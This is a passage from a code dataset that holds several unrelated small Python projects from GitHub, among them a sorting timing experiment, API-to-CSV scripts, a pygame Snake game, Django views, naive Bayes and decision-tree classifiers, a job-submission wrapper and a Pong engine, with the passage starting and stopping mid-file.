- tempo R\\t | tempo R / tempo I | \")\n\n n = 500\n for i in range(7):\n lista = sorteia_lista(n)\n tmp = experimento( lista, par )\n s = f'{n}\\t | '\n for t in tmp:\n s += f\"({t[0]}) - {t[1]}\\t | \"\n razao = tmp[1][1]/tmp[0][1]\n print(s+str(razao))\n #n+=1\n n = 2 * n\n\n# ................................................\n\ndef experimento( lista, funcoes ):\n ''' (list, list) -> list\n Recebe uma lista com inteiros que é usada como entrada para as\n funções na lista funcoes. \n Retorna uma lista com os valores e tempos de cada função.\n '''\n tempos = []\n for f in funcoes:\n t_ini = Timer()\n print(f\"FUNÇÂO: {f}\")\n val = f( lista )\n print(\"Fiz\")\n t_fim = Timer()\n t_dif = t_fim - t_ini\n tempos.append( (val, t_dif) )\n \n \n return tempos\n\n# ................................................\ndef sorteia_lista( n ):\n ''' int -> list\n Recebe um inteiro n e retorna uma \n uma lista com n valores inteiros aleatórios no intervalo MAX_VAL\n '''\n lista = []\n for i in range(n):\n lista+=[random.randint(1, MAX_VAL)]\n #lista.append( random.randrange(1, MAX_VAL))\n print(\"Sorteado\")\n return lista\n\n# ................................................\nif __name__ == '__main__':\n main()\n","repo_name":"brennomachado/USP-Disciplinas","sub_path":"EI14/eg14_experimento.py","file_name":"eg14_experimento.py","file_ext":"py","file_size_in_byte":2204,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"43966590052","text":"#!/usr/bin/python3\n\"\"\" Script using REST API \"\"\"\nimport csv\nimport requests\nimport sys\n\nif __name__ == \"__main__\":\n if len(sys.argv) == 2 and sys.argv[1].isdigit():\n dicti1 = {'id': sys.argv[1]}\n html1 = requests.get(\n \"https://jsonplaceholder.typicode.com/users\", params=dicti1)\n\n dicti2 = {'userId': sys.argv[1]}\n html2 = requests.get(\n \"https://jsonplaceholder.typicode.com/todos\", params=dicti2)\n\n username = html1.json()[0].get(\"username\")\n with open(sys.argv[1] + \".csv\", mode=\"w\", newline=\"\") as f:\n spamwriter = csv.writer(f, quoting=csv.QUOTE_ALL)\n for i in html2.json():\n spamwriter.writerow([str(sys.argv[1]), str(username),\n str(i.get(\"completed\")),\n str(i.get(\"title\"))])\n","repo_name":"bryanbuiles/holberton-system_engineering-devops","sub_path":"0x15-api/1-export_to_CSV.py","file_name":"1-export_to_CSV.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"4653453080","text":"import re\n\ndef test():\n\ta = '''<div id =\"111\" class=\"hehe\">abc</div>'''\n\t#b = r'<div *.?>(*.?)</div>'\n\tb=r'<div .*>(.*)</div>'\n\tc=re.findall(b,a)\n\tprint(c)\n\nif __name__ == \"__main__\":\n\t#url='''http://flights.ctrip.com/booking/bjs-xmn-day-1.html?ddate1=2017-02-07'''\n\ttest()","repo_name":"woshili1/python-homework","sub_path":"test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"28012764956","text":"import requests\nimport sys\n\n\nuser_name = sys.argv[1]\nresult = []\n\n\ndef solve():\n def repos():\n global user_name\n global result\n r = requests.get(\"https://api.github.com/users/{}/repos\"\n .format(user_name))\n content = r.json()\n result = [data['name'] for data in content]\n repos()\n return result\n\n\ndef main():\n print(solve())\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"GumballWatterson00/GetRepositoriesUser","sub_path":"githubrepos.py","file_name":"githubrepos.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"25398273086","text":"import pygame\nimport numpy as np\nfrom pygame.locals import ( K_UP,\n K_DOWN,\n K_LEFT,\n K_RIGHT,\n K_ESCAPE,\n KEYDOWN,\n QUIT,)\n\npygame.init()\nimport random\n\n\n\nSCREEN_WIDTH = 500\nSCREEN_HEIGHT = 500\n\nmy_radius = 10\navailable_space = []\nfor i in range(int(SCREEN_HEIGHT*SCREEN_WIDTH/((my_radius*2)*(my_radius*2)))):\n available_space.append(i)\n# print(available_space)\n\nM_LEFT = 1\nM_RIGHT = 2\nM_UP = 3\nM_DOWN = 4\n\n\nscreen = pygame.display.set_mode([SCREEN_WIDTH, SCREEN_HEIGHT])\n\n# Fill the background with white\nscreen.fill((255, 255, 255))\nrunning = True\n\n\n\n# Define a player object by extending pygame.sprite.Sprite\n# The surface drawn on the screen is now an attribute of 'player'\n\nclass Snake_Body(pygame.sprite.Sprite):\n def __init__(self,new_point):\n super(Snake_Body,self).__init__()\n self.radius = 10\n self.surf = pygame.Surface((self.radius*2-1,self.radius*2-1))\n self.surf.fill((128,128,128))\n self.rect = self.surf.get_rect()\n self.rect.center = new_point\n\n\n\nclass Food(pygame.sprite.Sprite):\n def __init__(self):\n super(Food,self).__init__()\n self.radius = 10\n self.surf = pygame.Surface((self.radius*2,self.radius*2))\n self.surf.fill((0,0,255))\n self.rect = self.surf.get_rect()\n global running\n # self.rect.center = ((random.randint(0,SCREEN_WIDTH/(self.radius*2)-1)*(self.radius*2)+self.radius),(random.randint(0,SCREEN_HEIGHT/(self.radius*2)-1)*(self.radius*2)+self.radius))\n if len(available_space) > 0:\n random_index = random.randint(0,len(available_space)-1)\n self.rect.center = ((int(available_space[random_index]%int(SCREEN_WIDTH/20))*20+10),(int(available_space[random_index]/int(SCREEN_HEIGHT/20))*20+10))\n # print(random_index)\n # print(self.rect.center)\n else:\n running = False\n print(\"Game Over Because of you\")\nclass Snake(pygame.sprite.Sprite):\n def __init__(self):\n super(Snake, self).__init__()\n self.radius = 10\n self.surf = pygame.Surface((self.radius*2,self.radius*2))\n self.surf.fill((0,0,0))\n self.rect = self.surf.get_rect()\n self.rect.center = (self.rect.center[0]+20,self.rect.center[1])\n self.speed = self.radius*2\n self.direction = M_RIGHT\n self.new_body = False\n self.body_len = 1\n self.body_part = pygame.sprite.Group()\n self.body_part.add(Snake_Body((self.rect.center[0]-20,self.rect.center[1])))\n self.add_new_body_count = []\n self.require_step_count = []\n first_sprite = self.body_part.sprites()[0]\n available_space.remove(int((first_sprite.rect.center[0]-first_sprite.radius)/(first_sprite.radius*2))+int((first_sprite.rect.center[1]-first_sprite.radius)/(first_sprite.radius*2)*(SCREEN_WIDTH/(first_sprite.radius*2))))\n available_space.remove(int((self.rect.center[0]-self.radius)/(self.radius*2))+int((self.rect.center[1]-self.radius)/(self.radius*2)*(SCREEN_WIDTH/(self.radius*2))))\n def update_key(self,pressed_keys):\n # print(pressed_keys)\n if pressed_keys[K_UP]:\n if self.direction != M_DOWN:\n self.direction = M_UP\n return\n if pressed_keys[K_DOWN]:\n if self.direction != M_UP:\n self.direction = M_DOWN\n return\n if pressed_keys[K_LEFT]:\n if self.direction != M_RIGHT:\n self.direction = M_LEFT\n return\n if pressed_keys[K_RIGHT]:\n if self.direction != M_LEFT:\n self.direction = M_RIGHT\n return\n\n def update_movement(self):\n # print(\"Update Movement\")\n if self.new_body == True:\n self.new_body = False\n self.add_new_body_count.append(0)\n self.body_len+=1\n # print(self.body_len)\n self.require_step_count.append(self.body_len-1)\n # print(self.add_new_body_count)\n if len(self.body_part) > 0:\n # print(len(self.body_part))\n self.body_part.add(Snake_Body(self.rect.center))\n first_sprite = self.body_part.sprites()[0]\n skip_remove = False\n if len(self.require_step_count) > 0:\n if self.add_new_body_count[0] == self.require_step_count[0]:\n skip_remove = True\n self.add_new_body_count.pop(0)\n self.require_step_count.pop(0)\n if not skip_remove:\n available_space.append(int((first_sprite.rect.center[0]-first_sprite.radius)/(first_sprite.radius*2))+int((first_sprite.rect.center[1]-first_sprite.radius)/(first_sprite.radius*2)*(SCREEN_WIDTH/(first_sprite.radius*2))))\n # print(first_sprite.rect.center)\n self.body_part.remove(first_sprite)\n # for first_sprite in self.body_part:\n # try:\n # available_space.remove(int((first_sprite.rect.center[0]-first_sprite.radius)/(first_sprite.radius*2))+((first_sprite.rect.center[1]-first_sprite.radius)/(first_sprite.radius*2)*(SCREEN_WIDTH/(first_sprite.radius*2))))\n # except:\n # pass\n\n \n\n if self.direction == M_UP:\n self.rect.move_ip(0,-1*self.speed)\n if self.direction == M_DOWN:\n self.rect.move_ip(0,self.speed)\n if self.direction == M_RIGHT:\n self.rect.move_ip(self.speed,0)\n if self.direction == M_LEFT:\n self.rect.move_ip(-1*self.speed,0)\n\n if self.rect.left < 0:\n self.rect.right = SCREEN_WIDTH\n if self.rect.right > SCREEN_WIDTH:\n self.rect.left = 0\n if self.rect.top < 0:\n self.rect.bottom = SCREEN_HEIGHT\n if self.rect.bottom > SCREEN_HEIGHT:\n self.rect.top = 0\n\n # available_space.remove((self.rect.center[0]-10)/20+(self.rect.center[0]-10)/20)\n # print(f\"remove x = {int((self.rect.center[0]-self.radius)/(self.radius*2))+int((self.rect.center[1]-self.radius)/(self.radius*2)*(SCREEN_WIDTH/(self.radius*2)))}\")\n try:\n available_space.remove(int((self.rect.center[0]-self.radius)/(self.radius*2))+int((self.rect.center[1]-self.radius)/(self.radius*2)*(SCREEN_WIDTH/(self.radius*2))))\n except:\n pass\n # print(len(available_space))\n # print(len(self.body_part)+1)\n # print(available_space)\n # print(self.rect.center)\n for i in range(len(self.add_new_body_count)):\n self.add_new_body_count[i]+=1\n\n\n\nclock = pygame.time.Clock()\nsnake = Snake()\nfood = Food()\n\nsnake_group = pygame.sprite.Group()\nfood_group = pygame.sprite.Group()\nsnake_group.add(snake)\nfood_group.add(food)\nwhile running:\n\n # Did the user click the window close button?\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n print(\"Exit Loop\")\n running = False\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_ESCAPE:\n print(\"Escape\")\n running = False\n\n pressed_keys = pygame.key.get_pressed()\n snake.update_key(pressed_keys)\n snake.update_movement()\n screen.fill((255,255,255))\n if pygame.sprite.collide_rect(snake,food):\n # food_group.kill()\n food = Food()\n snake.new_body = True\n # food_group.add(food)\n if len(snake_group) > 0:\n if pygame.sprite.spritecollideany(snake,snake.body_part):\n running = False\n print(\"GameOver\")\n screen.blit(snake.surf,snake.rect)\n for body in snake.body_part:\n screen.blit(body.surf,body.rect)\n screen.blit(food.surf,food.rect)\n \n\n \n\n\n pygame.display.flip()\n clock.tick(10)\n\n# Done! Time to quit.\npygame.quit()","repo_name":"ykys0323/SnakeGame","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"37685751926","text":"from django.http import JsonResponse\nfrom django.shortcuts import render, get_object_or_404\nfrom .models import Artist, Genre\nfrom .serializers import ArtistSerializer, GenreSerializer, GenreListSerializer, ArtistEmbedGenreSerializer\n\n\ndef music(request):\n return render(request, 'music.html', {})\n\n\ndef view_album(request):\n return render(request, 'view_album.html', {})\n\n\ndef view_artist(request, artist_id):\n return render(request, 'view_artist.html', {'artist_id': artist_id})\n\n\ndef get_artist(request, artist_id):\n artist = get_object_or_404(Artist, id=artist_id)\n serializer = ArtistSerializer(artist)\n return JsonResponse(serializer.data, safe=False)\n\n\ndef get_artist_list(request):\n artist_list = Artist.objects.all()\n if request.GET.get('Genre'):\n artist_list = artist_list.filter(genres__id=request.GET.get('Genre'))\n if request.GET.get('Hometown'):\n artist_list = artist_list.filter(hometown=request.GET.get('Hometown'))\n if request.GET.get('Social'):\n social = request.GET.get('Social')\n if social == \"facebook\":\n artist_list = artist_list.exclude(facebook='')\n elif social == \"bandcamp\":\n artist_list = artist_list.exclude(bandcamp='', bandcamp_embed_code='')\n elif social == \"soundcloud\":\n artist_list = artist_list.exclude(soundcloud='', soundcloud_embed_code='')\n elif social == \"youtube\":\n artist_list = artist_list.exclude(youtube='', youtube_embed_code='')\n if request.GET.get('Embed'):\n embed = request.GET.get('Embed')\n if embed == \"bandcamp\":\n artist_list = artist_list.exclude(bandcamp_embed_code='')\n elif embed == \"soundcloud\":\n artist_list = artist_list.exclude(soundcloud_embed_code='')\n elif embed == \"youtube\":\n artist_list = artist_list.exclude(youtube_embed_code='')\n artist_list = artist_list.distinct()\n serializer = ArtistEmbedGenreSerializer(artist_list, many=True)\n return JsonResponse(serializer.data, safe=False)\n\n\ndef list_genres(request):\n return render(request, 'list_genres.html', {})\n\n\ndef get_genre_list(request):\n genre_list = Genre.objects.all()\n serializer = GenreListSerializer(genre_list, many=True)\n return JsonResponse(serializer.data, safe=False)\n\n\ndef view_genre(request, genre_id):\n return render(request, 'view_genre.html', {'genre_id': genre_id})\n\n\ndef get_genre(request, genre_id):\n genre = Genre.objects.get(id=genre_id)\n serializer = GenreSerializer(genre)\n return JsonResponse(serializer.data, safe=False)\n","repo_name":"PatrickEGorman/MagnoliaHouseShows","sub_path":"music/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"18067850930","text":"import sklearn\r\nimport logging\r\nimport datasets\r\n\r\nfrom sklearn import naive_bayes\r\n\r\nlogging.config.fileConfig(fname='./config/log.init', disable_existing_loggers=False)\r\nlog = logging.getLogger('system')\r\n\r\ntrain_data, test_data = datasets.Loader().load()\r\ntrain_features, train_labels = train_data[:,:-1], train_data[:,-1]\r\ntest_features, test_labels = test_data[:,:-1], test_data[:,-1]\r\n# 补充朴素贝叶斯\r\nalphas = [0, 0.2, 0.4, 0.6, 0.8, 1, 1.2, 1.4, 1.6, 1.8, 2]\r\nfor a in alphas:\r\n cnb = naive_bayes.ComplementNB(alpha=a)\r\n cnb.fit(train_features, train_labels)\r\n cnb_score = cnb.score(test_features, test_labels)\r\n log.info(f'Complement Naive Bayes, test score: {cnb_score} when alpha is {a}')\r\nexit(0)\r\n# 构建高斯贝叶斯\r\ngnb = naive_bayes.GaussianNB()\r\ngnb.fit(train_features, train_labels)\r\n# 测试\r\ngnb_score = gnb.score(test_features, test_labels)\r\nlog.info(f'Gaussian Naive Bayes, test score: {gnb_score}')\r\n# Gaussian Naive Bayes, test score: 0.8514984229664949\r\n\r\n# 构建多项分布朴素贝叶斯\r\nfor a in alphas:\r\n mnb = naive_bayes.MultinomialNB(alpha=a)\r\n mnb.fit(train_features, train_labels)\r\n # 测试\r\n mnb_score = mnb.score(test_features, test_labels)\r\n log.info(f'Multinomial Naive Bayes, test score: {mnb_score} when alpha is {a}')\r\n # Multinomial Naive Bayes, test score: 0.8375092837599308\r\n","repo_name":"coldwindx/KDD99","sub_path":"naive_bayes.py","file_name":"naive_bayes.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"36977539488","text":"import math\nimport collections\n\n\n# 计算给定数据集的信息熵\ndef calEntropy(data_set):\n entropy = 0\n ele_count = len(data_set)\n val_counts = {}\n\n for data in data_set:\n pred_res = data[-1]\n if pred_res not in val_counts.keys():\n val_counts[pred_res] = 1\n else:\n val_counts[pred_res] += 1\n\n for val_count in val_counts.values():\n prob = val_count / ele_count\n entropy -= prob * math.log(prob, 2)\n\n return entropy\n\n\n# 计算给定数据集的GINI指数\ndef calGini(data_set):\n gini = 1\n ele_count = len(data_set)\n val_counts = {}\n\n for data in data_set:\n pred_res = data[-1]\n if pred_res not in val_counts.keys():\n val_counts[pred_res] = 1\n else:\n val_counts[pred_res] += 1\n\n for val_count in val_counts.values():\n prob = val_count / ele_count\n gini -= prob * prob\n\n return gini\n\n\n# 计算给定数据集在选定特征下的性能指标(信息增益/信息增益率/GINI指数变化)\ndef calPerf(data_set, label_index, type):\n if type == 0 or type == 1:\n # 先记录划分前的信息熵\n info_gain = calEntropy(data_set)\n\n # 减去划分后的条件熵得到信息增益\n split_val = 0\n label_col = [data[label_index] for data in data_set]\n val_list = set(label_col)\n for label_val in val_list:\n sub_set = divideSet(data_set, label_index, label_val)\n prob = len(sub_set) / len(data_set)\n info_gain -= prob * calEntropy(sub_set)\n split_val -= prob * math.log(prob, 2)\n\n # 信息增益除以特征本身的熵,得到信息增益率\n info_gain_ratio = info_gain / split_val\n return (info_gain, info_gain_ratio)[type]\n elif type == 2:\n # 计算划分前后的基尼指数变化\n gini_gain = calGini(data_set)\n label_col = [data[label_index] for data in data_set]\n val_list = set(label_col)\n\n for label_val in val_list:\n sub_set = divideSet(data_set, label_index, label_val)\n prob = len(sub_set) / len(data_set)\n gini_gain -= prob * calGini(sub_set)\n return gini_gain\n else:\n raise ValueError(\"Type: only value 0(info gain), 1(info gain ratio), 2(gini impurity) available.\")\n\n\n# 挑选出数据集中在给定特征上取特定值的数据\ndef divideSet(data_set, label_index, label_val):\n sub_set = []\n for data in data_set:\n if data[label_index] == label_val:\n sub_data = data[:label_index] + data[label_index+1:]\n sub_set.append(sub_data)\n return sub_set\n\n\n# 选出拥有最好性能指标的划分特征\ndef chooseLabel(data_set, type):\n label_num = len(data_set[0]) - 1\n best_perf = 0\n best_label = -1\n\n for label_index in range(label_num):\n current_perf = calPerf(data_set, label_index, type)\n if current_perf > best_perf:\n best_perf = current_perf\n best_label = label_index\n\n return best_label\n\n\n# 建立决策树\ndef buildTree(data_set, label_list, type):\n pred_list = [data[-1] for data in data_set]\n # 如果数据集中所有数据同属一个类别,则返回该类别\n if pred_list.count(pred_list[0]) == len(pred_list):\n return pred_list[0]\n\n # 如果数据集中只剩下一个数据,返回该数据对应的类别\n if len(data_set) == 1:\n return pred_list[0]\n\n # 如果所有特征都已用于划分,则返回数据集中占比最大的类别\n if len(label_list) == 0:\n return collections.Counter(pred_list).most_common(1)[0][0]\n\n # 提取出用于最高评测指标的特征,准备进行下一步划分\n best_label_index = chooseLabel(data_set, type)\n best_label_val = label_list[best_label_index]\n decision_tree = {(best_label_index, best_label_val): {}}\n del(label_list[best_label_index])\n\n # 使用选定特征划分出不同的子数据集,并递归建立子树\n label_col = [data[best_label_index] for data in data_set]\n val_list = set(label_col)\n for val in val_list:\n sub_labels = label_list[:]\n decision_tree[(best_label_index, best_label_val)][val] = buildTree(divideSet(data_set, best_label_index, val), sub_labels, type)\n\n return decision_tree\n\n\n# 根据建立的决策树对单个数据给出预测\ndef predRes(decision_tree, data):\n # 沿着决策树逐层向下迭代,直到找到对应的叶子节点\n while type(decision_tree).__name__ == \"dict\":\n used_label = list(decision_tree.keys())[0]\n used_val = data[used_label[0]]\n if used_val in decision_tree[used_label].keys():\n decision_tree = decision_tree[used_label][used_val]\n else:\n decision_tree = decision_tree[used_label][list(decision_tree[used_label].keys())[0]]\n del data[used_label[0]]\n return decision_tree\n","repo_name":"wuchenkang/ArtificialIntelligenceExperiment","sub_path":"Exp2/DecisionTree.py","file_name":"DecisionTree.py","file_ext":"py","file_size_in_byte":4915,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"28655717833","text":"from __future__ import absolute_import, division, print_function\n\nimport os, time, sys\nfrom .monitor import TextMonitor\nfrom subprocess import Popen, PIPE\nimport numpy as np\nfrom logging import debug\nfrom .hosts import Host\nfrom shutil import rmtree\nfrom stat import S_ISDIR\nfrom glob import glob\nfrom threading import Thread, Event\n\n\nclass SubmitHost(Host):\n \"\"\"\n Create a host object that uses the hub submit command.\n\n Args:\n cpus: Number of cpus each process uses. Default=1.\n cpus_per_node: How many cpus to use on each node. Default=1.\n \"\"\"\n def __init__(self, venue=None, cpus=1, cpus_per_node=1, walltime=60):\n Host.__init__(self)\n self.cpus = cpus\n self.cpus_per_node = cpus_per_node\n self.hostname = venue\n self.jobs = []\n\n # Creates a CSV file compatible with the HubZero submit command\n def add_jobs(self, fname, args):\n import shlex\n self.fname = fname\n first = True\n try:\n os.mkdir(fname)\n except:\n pass\n f = open(os.path.join(fname, 'input.csv'), 'w')\n for a in args:\n if first:\n first = False\n print(', '.join(['@@'+b[0] for b in a]), file=f)\n cmds = [(x[0], '@@'+x[0]) for x in a]\n print(','.join([str(b[1]) for b in a]), file=f)\n f.close()\n \n venue == ''\n if self.hostname is not None:\n if self.hostname == 'local':\n venue = '--local'\n else:\n venue = '--venue %s' % self.hostname\n scmd = \"submit %s --runName=puq -d input.csv %s\" % (venue, self.prog.cmd(cmds))\n \n self.add_job(shlex.split(scmd), '', 0, '')\n\n # run, monitor and status return\n # True (1) is successful\n # False (0) for errors or unfinished\n def run(self):\n \"\"\" Run all the jobs in the queue \"\"\"\n self._running = []\n self._monitor = TextMonitor()\n cwd = os.path.abspath(os.getcwd())\n os.chdir(self.fname)\n err = self._run()\n os.chdir(cwd)\n if err == False:\n rmtree(self.fname, ignore_errors=True)\n try:\n os.remove(self.fname+'.hdf5')\n except:\n pass\n return False\n return True\n\n def peg_parse(self):\n # parse the contents of the pegasusstatus.txt file\n done = 0\n filename = 'pegasusstatus.txt'\n with open(filename) as f:\n for line in f:\n if line.startswith('%DONE'):\n done = float(line.split()[1])\n break\n return done\n\n def status_monitor(self):\n # Watch pegasusstatus.txt for status changes.\n # This could possibly be done more efficiently\n # using filesystem notification but in practice\n # this turned out to be more reliable across\n # different OS versions.\n found = False\n while not found and not self.stop.is_set():\n try:\n os.chdir('puq/work')\n found = True\n except:\n self.stop.wait(10)\n\n done = -1\n while not self.stop.is_set():\n try:\n d = self.peg_parse()\n except:\n d = done\n if d > done:\n print('=RAPPTURE-PROGRESS=>%d Running' % (int(d)))\n sys.stdout.flush()\n done = d\n if int(d) >= 100:\n self.stop.set()\n else:\n self.stop.wait(10)\n\n def _run(self):\n j = self.jobs[0]\n print('=RAPPTURE-PROGRESS=>0 Starting')\n sys.stdout.flush()\n\n try:\n myprocess = Popen(j['cmd'], bufsize=0)\n except Exception as e:\n print('Command %s failed: %s' % (' '.join(j['cmd']), e))\n sys.stdout.flush()\n\n self.stop = Event()\n p2 = Thread(target=self.status_monitor)\n p2.daemon = True\n p2.start()\n\n # wait for command to finish\n err = True\n try:\n ret = myprocess.wait()\n if ret:\n err = False\n print('Submit failed with error %s' % ret)\n whocares = os.listdir(os.getcwd())\n if os.path.exists('puq'):\n fn = glob('puq/*.stderr')\n if fn:\n with open(fn[0]) as f:\n print(f.read())\n sys.stdout.flush()\n except KeyboardInterrupt:\n print('\\nPUQ interrupted. Cleaning up. Please wait...\\n')\n err = False\n myprocess.kill()\n\n j['status'] = 'F'\n\n self.stop.set()\n if p2 and p2.is_alive():\n p2.join()\n\n return err\n\n # Collect the data from individual stdout and stderr files into\n # the HDF5 file. Remove files when finished.\n def collect(self, hf):\n # Collect results from output files\n debug(\"Collecting\")\n\n cwd = os.path.abspath(os.getcwd())\n os.chdir(self.fname)\n\n hf.require_group('output')\n jobs_grp = hf.require_group('output/jobs')\n\n # find the jobs that are completed and, if the stdout/stderr files are there,\n # move them to hdf5\n finished_jobs = []\n os.chdir('puq')\n\n # Get the job stats. Do this in a loop because it looks like\n # sometimes this code gets run before pegasus generates the file.\n tries = 2\n while tries > 0:\n try:\n data = np.genfromtxt('pegasusjobstats.csv', usecols=(2,3,4,7,15,16), dtype='string',\n skip_header=26, comments='#', delimiter=',')\n tries = 0\n except:\n tries -= 1\n if tries > 0:\n time.sleep(30)\n\n job = {}\n for j, _try, site, _time, exitcode, host in data:\n if site == 'local':\n continue\n j = j[j.rfind('_')+1:]\n job[j] = (int(_try), site, float(_time), int(exitcode), host)\n\n times = np.empty((len(job)))\n for j in job:\n jobnum = int(j)-1\n times[jobnum] = job[j][2]\n finished_jobs.append(jobnum)\n if not S_ISDIR(os.stat(j).st_mode):\n print(\"ERROR: job %s directory not found\" % j)\n continue\n os.chdir(j)\n grp = jobs_grp.require_group(str(jobnum))\n for ext in ['out', 'err']:\n outfile = glob('*.std%s' % ext)\n if outfile:\n f = open(outfile[0], 'r')\n fdata = f.read()\n grp.create_dataset('std%s' % ext, data=fdata)\n if job[j][3] != 0:\n # error code was set\n print(\"ERROR: Job %s failed: %s\" % (j, fdata))\n f.close()\n for fn in self.prog.outfiles:\n try:\n f = open(fn, 'r')\n grp.create_dataset(fn, data=f.read())\n f.close()\n except:\n pass\n os.chdir('..')\n if 'time' in jobs_grp:\n del jobs_grp['time']\n jobs_grp['time'] = times\n\n os.chdir(cwd)\n rmtree(self.fname)\n\n return finished_jobs\n\n","repo_name":"c-PRIMED/puq","sub_path":"puq/submithost.py","file_name":"submithost.py","file_ext":"py","file_size_in_byte":7369,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"29"} +{"seq_id":"955273357","text":"from datetime import datetime\nfrom fastapi import HTTPException, status\n\nfrom crittercarousel.api.models import EventModel, StatusModel \nfrom crittercarousel.api.services._base_service import BaseService\n\n\nclass PostEventService(BaseService):\n\n def __init__(self, router):\n super().__init__(router, \"/events\", [\"POST\"])\n\n def handle_request(self, username:str, species:str, name:str, action:str) -> dict:\n\n now = datetime.now()\n\n event = EventModel(username=username, species=species, name=name, action=action, time=now)\n\n message = None\n\n with self.router.application.dbconnect() as context:\n\n user = context.fetch_user(username)\n\n critter = context.fetch_critter(username, species, name)\n\n critter_status = StatusModel.from_critter(critter)\n\n if action in (\"feed\", \"pet\", \"play\", \"adopt\") and critter_status.status == \"dead\":\n raise HTTPException(\n status_code=status.HTTP_400_BAD_REQUEST,\n detail=f\"{critter.name} the {critter.species} is dead\")\n \n if action == \"feed\":\n critter.last_feed_time = now\n context.update_critter(critter)\n message = f\"{critter.name} the {critter.species} is not hungry\"\n\n elif action == \"pet\":\n critter.last_pet_time = now\n context.update_critter(critter)\n message = f\"{critter.name} the {critter.species} is not sad\"\n\n elif action == \"play\":\n critter.last_play_time = now\n context.update_critter(critter)\n message = f\"{critter.name} the {critter.species} is not bored\"\n\n elif action == \"adopt\":\n if critter_status.status != \"happy\":\n raise HTTPException(\n status_code=status.HTTP_400_BAD_REQUEST,\n detail=f\"{critter.name} the {critter.species} is not happy\")\n user.clams += 35\n user.adopt_count += 1\n context.update_user(user)\n context.delete_critter(critter)\n message = f\"{critter.name} the {critter.species} has been adopted (you get 35 clams)\"\n\n elif action == \"glue\":\n if critter_status.status != \"dead\":\n raise HTTPException(\n status_code=status.HTTP_400_BAD_REQUEST,\n detail=f\"{critter.name} the {critter.species} is still alive\")\n user.clams += 2\n user.glue_count += 1\n context.update_user(user)\n context.delete_critter(critter)\n message = f\"the glue factory gives you 2 clams for the corpse of {critter.name} the {critter.species}\"\n\n else:\n raise HTTPException(\n status_code=status.HTTP_400_BAD_REQUEST,\n detail=f\"unknown action: {action}\")\n \n context.insert_event(event)\n\n return {\"message\": message}\n","repo_name":"dodowaresrc/crittercarousel","sub_path":"crittercarousel/api/services/_post_event_service.py","file_name":"_post_event_service.py","file_ext":"py","file_size_in_byte":3084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"28182729829","text":"from turtle import Screen\r\nfrom paddle import Paddle\r\nfrom user_paddle import User_Paddle\r\nfrom ball import Ball\r\nfrom scoreboard import Scoreboard\r\nimport time\r\n\r\nSCREEN_WIDTH = 600\r\nSCREEN_HEIGHT = 600\r\nSCREEN_COLOR = \"black\"\r\n\r\nclass Engine:\r\n\r\n def __init__(self):\r\n self.screen = self.create_screen()\r\n self.paddle_1 = Paddle(position = (-290, 0), player_num = 1)\r\n self.paddle_2 = Paddle(position = (280, 0), player_num = 2)\r\n self.ball = Ball()\r\n self.get_usernames()\r\n self.paddle1_scoreboard = Scoreboard(paddle = self.paddle_1, position = (-220, -280))\r\n self.paddle2_scoreboard = Scoreboard(paddle = self.paddle_2, position =(200, -280))\r\n\r\n\r\n def get_usernames(self):\r\n self.paddle_1.username = self.screen.textinput(title = \"Username\", prompt = \"What is your username, Player 1?\")\r\n self.paddle_2.username = self.screen.textinput(title = \"Username\", prompt = \"What is your username, Player 2?\")\r\n\r\n\r\n def create_screen(self):\r\n self.screen = Screen()\r\n self.screen.setup(SCREEN_WIDTH, SCREEN_HEIGHT)\r\n self.screen.bgcolor(SCREEN_COLOR)\r\n self.screen.title(\"Let me see that pong\")\r\n self.screen.tracer(0)\r\n return self.screen\r\n\r\n\r\n def add_key_controls(self):\r\n self.screen.onkeypress(self.paddle_1.up, \"w\")\r\n self.screen.onkeypress(self.paddle_1.down, \"s\")\r\n self.screen.onkeypress(self.paddle_2.up, \"Up\")\r\n self.screen.onkeypress(self.paddle_2.down, \"Down\")\r\n self.screen.onkey(self.start_game, \"space\")\r\n\r\n\r\n def start_game(self):\r\n game_is_on = True\r\n while game_is_on:\r\n self.screen.update()\r\n time.sleep(.0000001)\r\n\r\n self.ball.move()\r\n\r\n # if (self.ball.distance(self.paddle_1) < 5) or (self.ball.distance(self.paddle_2) < 5):\r\n # self.ball.bounce()\r\n if self.ball.xcor() > 270:\r\n if (self.ball.ycor() > (self.paddle_2.ycor() - 40)) and (self.ball.ycor() < (self.paddle_2.ycor() + 40)):\r\n self.ball.bounce()\r\n\r\n if self.ball.xcor() < -280:\r\n if (self.ball.ycor() > (self.paddle_1.ycor() - 40)) and (self.ball.ycor() < (self.paddle_1.ycor() + 40)):\r\n self.ball.bounce()\r\n\r\n if (self.ball.ycor() > 290) or (self.ball.ycor() < -290):\r\n self.ball.bounce()\r\n\r\n if self.ball.xcor() > 300:\r\n game_is_on = False\r\n self.paddle1_scoreboard.add_point()\r\n\r\n if self.ball.xcor() < -300:\r\n game_is_on = False\r\n self.paddle2_scoreboard.add_point()\r\n \r\n self.new_round()\r\n\r\n \r\n def new_round(self):\r\n self.paddle_1.penup()\r\n self.paddle_1.goto((-290, 0))\r\n self.paddle_2.penup()\r\n self.paddle_2.goto((280, 0))\r\n self.ball.penup()\r\n 